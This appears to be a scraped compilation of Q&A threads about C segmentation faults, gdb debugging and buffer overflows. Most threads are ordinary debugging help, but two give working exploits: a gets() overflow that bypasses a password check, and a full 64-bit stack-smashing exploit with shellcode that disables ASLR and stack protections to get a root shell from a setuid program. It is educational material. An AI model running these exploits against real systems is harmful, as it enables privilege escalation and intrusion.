So I have been writing a handful of C libraries for my own personal use and I have been doing swell until my latest library, which just contains a bunch of string functions. As you can probably tell by the question title, I am getting a SIGSEGV signal. The problem is this: my research indicates that about 99% of all SIGSEGV errors are due to stack overflow, itself due to bad recursion, but as you will see, I am not using any recursion. Furthermore, there are a few odd problems that occur. For one, printf is exhibiting a lot of funky behavior. GDB encounters printf calls but does not actually seem to execute them until a few lines of code later. Likewise, one of my printf statements is being broken up somehow, and only a part is being called, with another part being chopped off apparently.
Here are the key code snippets, some stuff is named funny because I suspected name clashing may be the cause at one point and may have gone a little overboard...
"firstIndexOf" function (finds the first index of a character in a string, if that character is in said string), found at line 31:
int firstIndexOfFUNCTION(char thisChar, char* inThisString)
{
int lengthABC = strlen(inThisString);
printf("\nLength of %s is %d",inThisString,lengthABC);
int thisFunctionsIndex;
for (thisFunctionsIndex=0;thisFunctionsIndex<lengthABC;thisFunctionsIndex++)
{
printf("\n%dth iteration:\n-char 1 is %c\n-char2 is %c",thisFunctionsIndex,inThisString[thisFunctionsIndex],thisChar);
if (inThisString[thisFunctionsIndex] == thisChar)
{
printf("\nMatch found on iteration %d!",thisFunctionsIndex);
return thisFunctionsIndex;
}
}
printf("\nNo matches detected...");
return -3;
}
The "string_functions_test" function (a function just meant to test the other functions) at line 62:
int string_functions_test()
{
printf("PROGRAM INITIALIZED!\n\n");
char* sft_string;
int sft_index;
sft_string = malloc(sizeof(char)*100);
sft_string = "B um sbm. Sbm B bm.";
printf("2nd BREAKPOINT");
sft_index = firstIndexOfFUNCTION('B',sft_string);
sft_string[sft_index] = 'I';
return 0;
}
and last but not least, good ol' main, at line 107:
int main(int argc, char* argv[])
{
string_functions_test();
return 0;
}
Here is the gdb output for a step-through of my code:
(gdb) b 105
Breakpoint 1 at 0x400970: file string_functions.c, line 105.
(gdb) run
Starting program: /home/user/Development/projects/c/string_functions/source/c/a.out
Breakpoint 1, main (argc=1, argv=0x7fffffffde98) at string_functions.c:109
109 string_functions_test();
(gdb) step
string_functions_test () at string_functions.c:64
64 printf("PROGRAM INITIALIZED!\n\n");
(gdb) next
PROGRAM INITIALIZED!
68 sft_string = malloc(sizeof(char)*100);
(gdb) next
69 sft_string = "B um sbm. Sbm B bm.";
(gdb) next
71 printf("2nd BREAKPOINT");
(gdb) next
73 sft_index = firstIndexOfFUNCTION('B',sft_string);
(gdb) step
firstIndexOfFUNCTION (thisChar=66 'B', inThisString=0x400ab9 "B um sbm. Sbm B bm.") at string_functions.c:33
33 int lengthABC = strlen(inThisString);
(gdb) next
34 printf("\nLength of %s is %d",inThisString,lengthABC);
(gdb) next
2nd BREAKPOINT
36 for (thisFunctionsIndex=0;thisFunctionsIndex<lengthABC;thisFunctionsIndex++)
(gdb) next
38 printf("\n%dth iteration:\n-char 1 is %c\n-char2 is %c",thisFunctionsIndex,inThisString[thisFunctionsIndex],thisChar);
(gdb) next
Length of B um sbm. Sbm B bm. is 19
0th iteration:
-char 1 is B
39 if (inThisString[thisFunctionsIndex] == thisChar)
(gdb) next
41 printf("\nMatch found on iteration %d!",thisFunctionsIndex);
(gdb) next
-char2 is B
42 return thisFunctionsIndex;
(gdb) next
47 }
(gdb) next
string_functions_test () at string_functions.c:75
75 sft_string[sft_index] = 'I';
(gdb) next
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400883 in string_functions_test () at string_functions.c:75
75 sft_string[sft_index] = 'I';
(gdb) next
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb) quit
You may notice that the printf which prints "2nd Breakpoint" is called, and then the program steps into a different function before the results are seen. I am assuming this is some whacky behavior on the part of the gcc compiler meant to serve as a cpu optimization, but it is sort of messing me up right now obviously. Likewise, the printf in my for loop is being broken up after the first formatted char. These two things are making it super hard to detect what exactly is happening. Has anyone experienced similar behavior?
In case it matters, I am including:
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
You are first pointing the pointer sft_string to what is returned from malloc. In the next line you make it point to a literal string. You need to copy it. A literal is built into the source code and cannot be changed during execution. Otherwise it raises a segment fault, which means that an area of memory that has code is being changed. Use strcpy.
Related
I need to call the login function in the below sample code. We can achieve this by changing the return address to the login function directly using buffer overflow attack. But I need to keep the return address as the same. Is there any other way to print logged in message without changing the return address?
char getPass()
{
int flag = 'F';
char pass[10];
gets(pass);
return (char) flag;
}
void login()
{
printf("Logged in");
exit(0);
}
void main()
{
printf("Enter Passwd");
if(getPass() == 'T')
{
login();
}else{
print("Failed");
exit(1);
}
}
Getting this to work depends on how the compiler decided to arrange the variables. If flag appears in memory after pass, then entering in more characters than pass will hold results in flag getting overwritten.
When I ran this program in a debugger and printed the addresses of these variables, I got the following:
(gdb) start
Temporary breakpoint 1 at 0x40060e: file x1.c, line 19.
Starting program: /home/dbush/./x1
Temporary breakpoint 1, main () at x1.c:19
19 printf("Enter Passwd");
Missing separate debuginfos, use: debuginfo-install glibc-2.17-292.el7.x86_64
(gdb) step
20 if(getPass() == 'T')
(gdb)
getPass () at x1.c:6
6 int flag = 'F';
(gdb)
8 gets(pass);
(gdb) p pass
$1 = "\000\000\000\000\000\000\000\000", <incomplete sequence \341>
(gdb) p &pass
$2 = (char (*)[10]) 0x7fffffffdec0
(gdb) p &flag
$3 = (int *) 0x7fffffffdecc
We can see that in this particular instance that flag is 12 bytes past the start of pass. My machine is also little-endian, meaning that the first of the 4 bytes of flag contain the value to be overwritten.
So we can exploit the buffer overflow vulnerability by entering in 13 characters, the last of which is T. This results in 10 characters being written to pass, two more to the padding bytes between pass and flag, the character T in the first byte of flag, and a 0 for the terminated null byte in the second byte of flag. Now the variable flag contains 'T' which is what gets returned from the function.
Note also that doing so doesn't write past flag into the function's return value. This is possible because flag is an int and little endian byte ordering is used.
Sample input/output:
[dbush#db-centos7 ~]$ ./x1
Enter Passwd1234567890TTT
Logged in[dbush#db-centos7 ~]$
I wrote some code to see how malloc() and memset() behave, and I found a case where I don't know what's going on.
I used malloc() to allocate 15 bytes of memory for a character array, and I
wanted to see what would happen if I used memset() incorrectly to set 100 bytes of memory in the pointer I created. I expected to see that memset() had set 15 bytes (and possibly trash some other memory). What I'm seeing when I run the program is that it's setting 26 bytes of memory to the character that I coded.
Any idea why there are 26 bytes allocated for the pointer I created? I'm compiling with gcc and glibc. Here's the code:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#define ARRLEN 14
int main(void) {
/* + 1 for the null terminator */
char *charptr = malloc((sizeof(*charptr) * ARRLEN) + 1);
if (!charptr)
exit(EXIT_FAILURE);
memset(charptr, '\0', (sizeof(*charptr) * ARRLEN) + 1);
/* here's the intentionally incorrect call to memset() */
memset(charptr, 'a', 100);
printf("sizeof(char) ------ %ld\n", sizeof(char));
printf("sizeof(charptr) --- %ld\n", sizeof(charptr));
printf("sizeof(*charptr) --- %ld\n", sizeof(*charptr));
printf("sizeof(&charptr) --- %ld\n", sizeof(&charptr));
printf("strlen(charptr) --- %ld\n", strlen(charptr));
printf("charptr string ---- >>%s<<\n", charptr);
free(charptr);
return 0;
}
This is the output I get:
sizeof(char) ------ 1
sizeof(charptr) --- 8
sizeof(*charptr) --- 1
sizeof(&charptr) --- 8
strlen(charptr) --- 26
charptr string ---- >>aaaaaaaaaaaaaaaaaaaaaaaa<<
First of all, this is undefined behavior, so anything can happen; as said in a comment, on my machine I get your exact same behavior with optimizations disabled, but turning on optimizations I get a warning about a potential buffer overflow at compile time (impressive job gcc!) and a big crash at runtime. Even better, if I print it with a puts before the printf calls I get it printed with a different number of a.
Still, I have the dubious luck to have the exact same behavior as you, so let's investigate. I compiled your program with no optimization and debug information
[matteo#teokubuntu ~/scratch]$ gcc -g memset_test.c
then I fired up the debugger and added a breakpoint on the first printf, just after the memset.
Reading symbols from a.out...done.
(gdb) break 20
Breakpoint 1 at 0x87e: file memset_test.c, line 20.
(gdb) r
Starting program: /home/matteo/scratch/a.out
Breakpoint 1, main () at memset_test.c:20
20 printf("sizeof(char) ------ %ld\n", sizeof(char));
now we can set a hardware write breakpoint on the 26th memory location pointed by charptr
(gdb) p charptr
$1 = 0x555555756260 'a' <repeats 100 times>
(gdb) watch charptr[26]
Hardware watchpoint 2: charptr[26]
... and so...
(gdb) c
Continuing.
Hardware watchpoint 2: charptr[26]
Old value = 97 'a'
New value = 0 '\000'
_int_malloc (av=av#entry=0x7ffff7dcfc40 <main_arena>, bytes=bytes#entry=1024) at malloc.c:4100
4100 malloc.c: File o directory non esistente.
(gdb) bt
#0 _int_malloc (av=av#entry=0x7ffff7dcfc40 <main_arena>, bytes=bytes#entry=1024) at malloc.c:4100
#1 0x00007ffff7a7b0fc in __GI___libc_malloc (bytes=1024) at malloc.c:3057
#2 0x00007ffff7a6218c in __GI__IO_file_doallocate (fp=0x7ffff7dd0760 <_IO_2_1_stdout_>) at filedoalloc.c:101
#3 0x00007ffff7a72379 in __GI__IO_doallocbuf (fp=fp#entry=0x7ffff7dd0760 <_IO_2_1_stdout_>) at genops.c:365
#4 0x00007ffff7a71498 in _IO_new_file_overflow (f=0x7ffff7dd0760 <_IO_2_1_stdout_>, ch=-1) at fileops.c:759
#5 0x00007ffff7a6f9ed in _IO_new_file_xsputn (f=0x7ffff7dd0760 <_IO_2_1_stdout_>, data=<optimized out>, n=23)
at fileops.c:1266
#6 0x00007ffff7a3f534 in _IO_vfprintf_internal (s=0x7ffff7dd0760 <_IO_2_1_stdout_>,
format=0x5555555549c8 "sizeof(char) ------ %ld\n", ap=ap#entry=0x7fffffffe330) at vfprintf.c:1328
#7 0x00007ffff7a48f26 in __printf (format=<optimized out>) at printf.c:33
#8 0x0000555555554894 in main () at memset_test.c:20
(gdb)
So, it's just malloc code invoked (more or less indirectly) by printf doing its stuff on the memory block immediately adjacent to the one it gave you (possibly marking it as used).
Long story short: you took memory that wasn't yours and it's now getting modified by its rightful owner at the first occasion when he needed it; nothing particularly strange or interesting.
I used malloc() to allocate 15 bytes of memory for a character array,
and I wanted to see what would happen if I used memset() incorrectly
to set 100 bytes of memory in the pointer I created.
What happens is undefined behavior as far as the language standard is concerned, and whatever actually does happen in a particular case is not predictable from the source code and may not be consistent across different C implementations or even different runs of the same program.
I expected to see
that memset() had set 15 bytes (and possibly trash some other memory).
That would be one plausible result, but that you had any particular expectation at all is dangerous. Do not assume that you can predict what manifestation UB will take, not even based on past experience. And since you should not do that, and cannot learn anything useful from that way, it is not worthwhile to experiment with UB.
What I'm seeing when I run the program is that it's setting 26 bytes
of memory to the character that I coded.
Any idea why there are 26 bytes allocated for the pointer I created?
Who says your experiment demonstrates that to be the case? Not only the memset() but also the last printf() exhibits UB. The output tells you nothing other than what the output was. That time.
Now in general, malloc may reserve a larger block than you request. Many implementations internally manage memory in chunks larger than one byte, such as 16 or 32 bytes. But that has nothing to do one way or another with the definedness of your program's behavior, and it does not speak to your output.
#include <stdio.h>
int main(void)
{
/* an array with 5 rows and 2 columns*/
char* a[5][2];
int y, p;
for(y = 0; y < 5; y++)
{
for(p = 0; p < 2; p++)
{
scanf("%s", a[y][p]);
}
}
int i, j;
/* output each array element's value */
for ( i = 0; i < 5; i++ )
{
for ( j = 0; j < 2; j++ )
{
printf("a[%d][%d] = %s\n", i,j, a[i][j] );
}
}
return 0;
}
I've been getting a Segmentation fault as an output of this program after inserting 2 strings. Can anyone tell me what's wrong with my code?
Problem:
You're declaring 10 uninitialized pointers here:
char* a[5][2];
And then trying to fill them with data:
scanf("%s", a[y][p]);
This is wrong. You need to allocate memory before copying data.
Solution:
I would do this in a more sexy way, but the quick solution would be:
#define MAX_LEN 100
char a[5][2][MAX_LEN];
/* ... */
scanf("%s", a[y][p][0]);
Just a hint on helping troubleshoot. Hope this will help the future readers who are new to pointers.
A better way to troubleshoot a segmentation fault is to run it with a debugger like gdb.
e.g
Compile your program with gdb (You need gdb installed on your host)
gcc -ggdb Test.c -o Test
Then run it with gdb
gdb ./Test
In your case, you will see an output like this. It'll go to the gdb prompt.
Then type run or r, it will run the program. Then it asks for an input. Type your input value. Then the segmentation fault occurs. Now you can see your backtrace by typing backtrace or bt. You can see which line causes your crash. You can see the code by list. You can go to any line by typeing list <line>. Go through a GDB Guide to find out more commands.
It tries to access a pointer, probably invalid that's why it crashes. Then find out why it's invalid. Probably you didn't initialize it or didn't allocate memory. So the easiest fix would be to declare it as an array (rather than a pointer array) like #Andrewjs mentioned in his answer.
Reading symbols from /tmp/Examples/Test...done.
(gdb) run
Starting program: /tmp/Examples/Test
for 1
for 2
10
Program received signal SIGSEGV, Segmentation fault.
0x005c5c3d in _IO_vfscanf_internal (s=0x6d1420, format=0x804867e "%s", argptr=0xbfffe984 "\020\204\004\b", errp=0x0) at vfscanf.c:840
840 *str++ = c;
(gdb) backtrace
#0 0x005c5c3d in _IO_vfscanf_internal (s=0x6d1420, format=0x804867e "%s", argptr=0xbfffe984 "\020\204\004\b", errp=0x0) at vfscanf.c:840
#1 0x005cebbb in __scanf (format=0x804867e "%s") at scanf.c:35
#2 0x0804850d in main () at Test.c:16 <-- Your program's last call
(gdb) list
835 }
836 #else
837 /* This is easy. */
838 if (!(flags & SUPPRESS))
839 {
840 *str++ = c; <-- Crash point
841 if ((flags & MALLOC)
842 && (char *) str == *strptr + strsize)
843 {
844 /* Enlarge the buffer. */
(gdb)
For advance debugging of applications This may help
I'm basically trying to run a buffer overflow attack. Based on what I understand we need 3 parts:
A nope sled
Shell Code to execute
Return address
The problem I'm having is in 64 bit linux the return address is something like 0x00007fffffffdcf2. In Strcpy if a null character is seen then it will stop copying. So basically in the end I endup with something like this:
0x7fffffffe233: 0x9090909090909090 0x9090909090909090
0x7fffffffe243: 0x9090909090909090 0x9090909090909090
0x7fffffffe253: 0x9090909090909090 0x9090909090909090
0x7fffffffe263: 0x9090909090909090 0x9090909090909090
0x7fffffffe273: 0xb099c931db31c031 0x6851580b6a80cda4
0x7fffffffe283: 0x69622f6868732f2f 0x8953e28951e3896e
0x7fffffffe293: 0x909090909080cde1 0x43007fffffffdcf2 <<< This line
If you look at the last 8 bytes instead of
0x00007fffffffdcf2
we have
0x43007fffffffdcf2
I'm assuming the 43 is just garbage data at the start. So basically is there any way to overcome this or does buffer over flow attacks not work on 64 bit systems for the strcpy function?
This is my code (based off the book the art of exploitation):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80\x90\x90\x90\x90\x90";
int main(int argc, char *argv[]) {
uint64_t i;
uint64_t ret;
uint64_t offset=270;
char *command, *buffer, *test;
command = (char *) malloc(200);
test = (char *)malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = ((uint64_t)(&i)- offset); // set return address
for(i=0; i < 200; i+=8) // fill buffer with return address
memcpy((uint64_t *)((uint64_t)buffer+i), &ret, 8);
memset(buffer, 0x90, 64); // build NOP sled
memcpy(buffer+64, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
}
Any help will be greatly appreciated.
I was able to modify your sample code to get it to work in 64-bit with the notesearch program from the book.
Many of the protections in modern OSes and build tools must be turned off for this to work, but it is obviously for educational purposes, so that's reasonable for now.
First, turn off ASLR on your system with:
echo 0 > /proc/sys/kernel/randomize_va_space
This must be done as root, and it won't work with sudo, since the sudo will only apply to the echo command, not the redirection. Just sudo -i first, then run it.
Next, the notesearch program must be compiled with two important safety protections disabled. By default, your program would be built with stack canaries for the detection of buffer overflows and also a non-executable stack, since there's usually no legitimate reason to run code from the stack.
gcc -g -z execstack -fno-stack-protector -o notesearch notesearch.c
Now, the exploit code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
char shellcode[]=
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53"
"\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main(int argc, char *argv[]) {
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
memset(buffer, 'A', 0x78); // Fill buffer up to return address
*(unsigned long long*)(buffer+0x78) = 0x7fffffffe1c0;
memcpy(buffer, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
}
This problem can be narrowed down to a simple return address overwrite, so no NOP sled is required. Additionally, the shellcode from your original post was for 32-bit only. The 64-bit shellcode I used is from http://shell-storm.org/shellcode/files/shellcode-806.php.
The big question: Where did 0x78 and 0x7fffffffe1c0 come from? I started out with a number larger than 0x78 since I didn't know what to use. I just guessed 175 since it's bigger than the target buffer. So the first iteration had these lines:
memset(buffer, 'A', 175); // Overflow buffer
//*(unsigned long long*)(buffer+???) = ???;
Now to try that out. Note that, while testing, I used a non-setuid version of notesearch to facilitate successful core dumps.
ulimit -c unlimited
gcc myexp.c
./a.out
The notesearch program crashed and created a core file:
deb82:~/notesearch$ ./a.out
[DEBUG] found a 15 byte note for user id 1000
-------[ end of note data ]-------
Segmentation fault (core dumped)
deb82:~/notesearch$
Running gdb ./notesearch core shows:
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x00000000004008e7 in main (argc=2, argv=0x7fffffffe2c8) at notesearch.c:35
35 }
(gdb)
Good. It crashed. Why?
(gdb) x/1i $rip
=> 0x4008e7 <main+158>: retq
(gdb) x/1gx $rsp
0x7fffffffe1e8: 0x4141414141414141
(gdb)
It's trying to return to our controlled address (all A's). Good. What offset from our controlled string (searchstring) points to the return address?
(gdb) p/x (unsigned long long)$rsp - (unsigned long long)searchstring
$1 = 0x78
(gdb)
So now we try again, with these changes:
memset(buffer, 'A', 0x78); // Fill buffer up to return address
*(unsigned long long*)(buffer+0x78) = 0x4242424242424242;
Again, we get a core dump. Analyzing it shows:
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x00000000004008e7 in main (argc=2, argv=0x7fffffffe318) at notesearch.c:35
35 }
(gdb) x/1i $rip
=> 0x4008e7 <main+158>: retq
(gdb) x/1gx $rsp
0x7fffffffe238: 0x4242424242424242
(gdb)
Good, we controlled the return address more surgically. Now, what do we want to put there instead of a bunch of B's? Search a reasonable range of stack for our shellcode (0xbb48c031 is a DWORD corresponding to the first 4 bytes in the shellcode buffer). Just mask off the lower 3 digits and start at the beginning of the page.
(gdb) find /w 0x7fffffffe000,$rsp,0xbb48c031
0x7fffffffe1c0
1 pattern found.
(gdb)
So our shellcode exists on the stack at 0x7fffffffe1c0. This is our desired return address. Updating the code with this information, and making notesearch setuid root again, we get:
deb82:~/notesearch$ whoami
user
deb82:~/notesearch$ ./a.out
[DEBUG] found a 15 byte note for user id 1000
-------[ end of note data ]-------
# whoami
root
#
The code I provided may work as is on your setup, but most likely, you'll probably need to follow a similar path to get the correct offsets to use.
this code is meant to take a list of names in a text file, and convert to email form
so Kate Jones becomes kate.jones#yahoo.com
this code worked fine on linux mint 12, but now the exact same code is giving a segfault on arch linux.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
FILE *fp;
fp = fopen("original.txt", "r+");
if (fp == NULL )
{
printf("error opening file 1");
return (1);
}
char line[100];
char mod[30] = "#yahoo,com\n";
while (fgets(line, 100, fp) != NULL )
{
int i;
for (i = 0; i < 100; ++i)
{
if (line[i] == ' ')
{
line[i] = '.';
}
if (line[i] == '\n')
{
line[i] = '\0';
}
}
strcat(line, mod);
FILE *fp2;
fp2 = fopen("final.txt", "a");
if (fp == NULL )
{
printf("error opening file 2");
return (1);
}
if (fp2 != NULL )
{
fputs(line, fp2);
fclose(fp2);
}
}
fclose(fp);
return 0;
}
Arch Linux is a fairly fresh install, could it be that there is something else I didn't install that C will need?
I think the problem would be when your original string plus mod exceeds 100 characters.
When you call strcat, it simply copies the string from the second appended to the first, assuming there is enough room in the first string which clearly doesn't seem to be the case here.
Just increase the size of line i.e. it could be
char line[130]; // 130 might be more than what is required since mod is shorter
Also it is much better to use strncat
where you can limit maximum number of elements copied to dst, otherwise, strcat can still go beyond size without complaining if given large enough strings.
Though a word of caution with strncat is that it does not terminate strings with null i.e. \0 on its own, specially when they are shorter than the given n. So its documentation should be thoroughly read before actual use.
Update: Platform specific note
Thought of adding, it is by sheer coincidence that it didn't seg fault on mint and crashed on arch. In practice it is invoking undefined behavior and should crash sooner or latter. There is nothing platform specific here.
Firstly your code isn't producing segmentation fault. Instead it will bring up "Stack Smashing" and throws below libc_message in the output console.
*** stack smashing detected ***: _executable-name-with-path_ terminated.
Stack buffer overflow bugs are caused when a program writes more data to a buffer located on the stack than there was actually allocated for that buffer.
Stack Smashing Protector (SSP) is a GCC extension for protecting applications from such stack-smashing attacks.
And, as said in other answers, your problem gets resolved with incrementing (strcat() function's first argument). from
char line[100]
to
char line[130]; // size of line must be atleast `strlen(line) + strlen(mod) + 1`. Though 130 is not perfect, it is safer
Lets see where the issue exactly hits in your code:
For that I am bringing up disassembly code of your main.
(gdb) disas main
Dump of assembler code for function main:
0x0804857c <+0>: push %ebp
0x0804857d <+1>: mov %esp,%ebp
0x0804857f <+3>: and $0xfffffff0,%esp
0x08048582 <+6>: sub $0xb0,%esp
0x08048588 <+12>: mov %gs:0x14,%eax
0x0804858e <+18>: mov %eax,0xac(%esp)
..... //Leaving out Code after 0x0804858e till 0x08048671
0x08048671 <+245>: call 0x8048430 <strcat#plt>
0x08048676 <+250>: movl $0x80487d5,0x4(%esp)
.... //Leaving out Code after 0x08048676 till 0x08048704
0x08048704 <+392>: mov 0xac(%esp),%edx
0x0804870b <+399>: xor %gs:0x14,%edx
0x08048712 <+406>: je 0x8048719 <main+413>
0x08048714 <+408>: call 0x8048420 <__stack_chk_fail#plt>
0x08048719 <+413>: leave
0x0804871a <+414>: ret
Following the usual assembly language prologue,
Instruction at 0x08048582 : stack grows by b0(176 in decimal) bytes for allowing storage stack contents for the main function.
%gs:0x14 provides the random canary value used for stack protection.
Instruction at 0x08048588 : Stores above mentioned value into the eax register.
Instruction at 0x0804858e : eax content(canary value) is pushed to stack at $esp with offset 172
Keep a breakpoint(1) at 0x0804858e.
(gdb) break *0x0804858e
Breakpoint 1 at 0x804858e: file program_name.c, line 6.
Run the program:
(gdb) run
Starting program: /path-to-executable/executable-name
Breakpoint 1, 0x0804858e in main () at program_name.c:6
6 {
Once program pauses at the breakpoint(1), Retreive the random canary value by printing the contents of register 'eax'
(gdb) i r eax
eax 0xa3d24300 -1546501376
Keep a breakpoint(2) at 0x08048671 : Exactly before call strcat().
(gdb) break *0x08048671
Breakpoint 2 at 0x8048671: file program_name.c, line 33.
Continue the program execution to reach the breakpoint (2)
(gdb) continue
Continuing.
Breakpoint 2, 0x08048671 in main () at program_name.c:33
print out the second top stack content where we stored the random canary value by executing following command in gdb, to ensure it is the same before strcat() is called.
(gdb) p *(int*)($esp + 172)
$1 = -1546501376
Keep a breakpoint (3) at 0x08048676 : Immediately after returning from call strcat()
(gdb) break *0x08048676
Breakpoint 3 at 0x8048676: file program_name.c, line 36.
Continue the program execution to reach the breakpoint (3)
(gdb) continue
Continuing.
Breakpoint 3, main () at program_name.c:36
print out the second top stack content where we stored the random canary value by executing following command in gdb, to ensure it is not corrupted by calling strcat()
(gdb) p *(int*)($esp + 172)
$2 = 1869111673
But it is corrupted by calling strcat(). You can see $1 and $2 are not same.
Lets see what happens because of corrupting the random canary value.
Instruction at 0x08048704 : Pulls the corrupted random canary value and stores in 'edx` register
Instruction at 0x0804870b : xor the actual random canary value and the contents of 'edx' register
Instruction at 0x08048712 : If they are same, jumps directly to end of main and returns safely. In our case random canary value is corrupted and 'edx' register contents is not the same as the actual random canary value. Hence Jump condition fails and __stack_chk_fail is called which throws libc_message mentioned in the top of the answer and aborts the application.
Useful Links:
IBM SSP Page
Interesting Read on SSP - caution pdf.
Since you didn't tell us where it faults I'll just point out some suspect lines:
for(i=0; i<100; ++i)
What if a line is less than 100 chars? This will read uninitialized memory - its not a good idea to do this.
strcat(line, mod);
What if a line is 90 in length and then you're adding 30 more chars? Thats 20 out of bounds..
You need to calculate the length and dynamically allocate your strings with malloc, and ensure you don't read or write out of bounds, and that your strings are always NULL terminated. Or you could use C++/std::string to make things easier if it doesn't have to be C.
Instead of checking for \n only, for the end of line, add the check for \r character also.
if(line[i] == '\n' || line[i] == '\r')
Also, before using strcat ensure that line has has enough room for mod. You can do this by checking if (i < /* Some value far less than 100 */), if i == 100 then that means it never encountered a \n character hence \0 was not added to line, hence Invalid memory Access occurs inside strcat() and therefore Seg Fault.
Fixed it. I simply increased the size of my line string.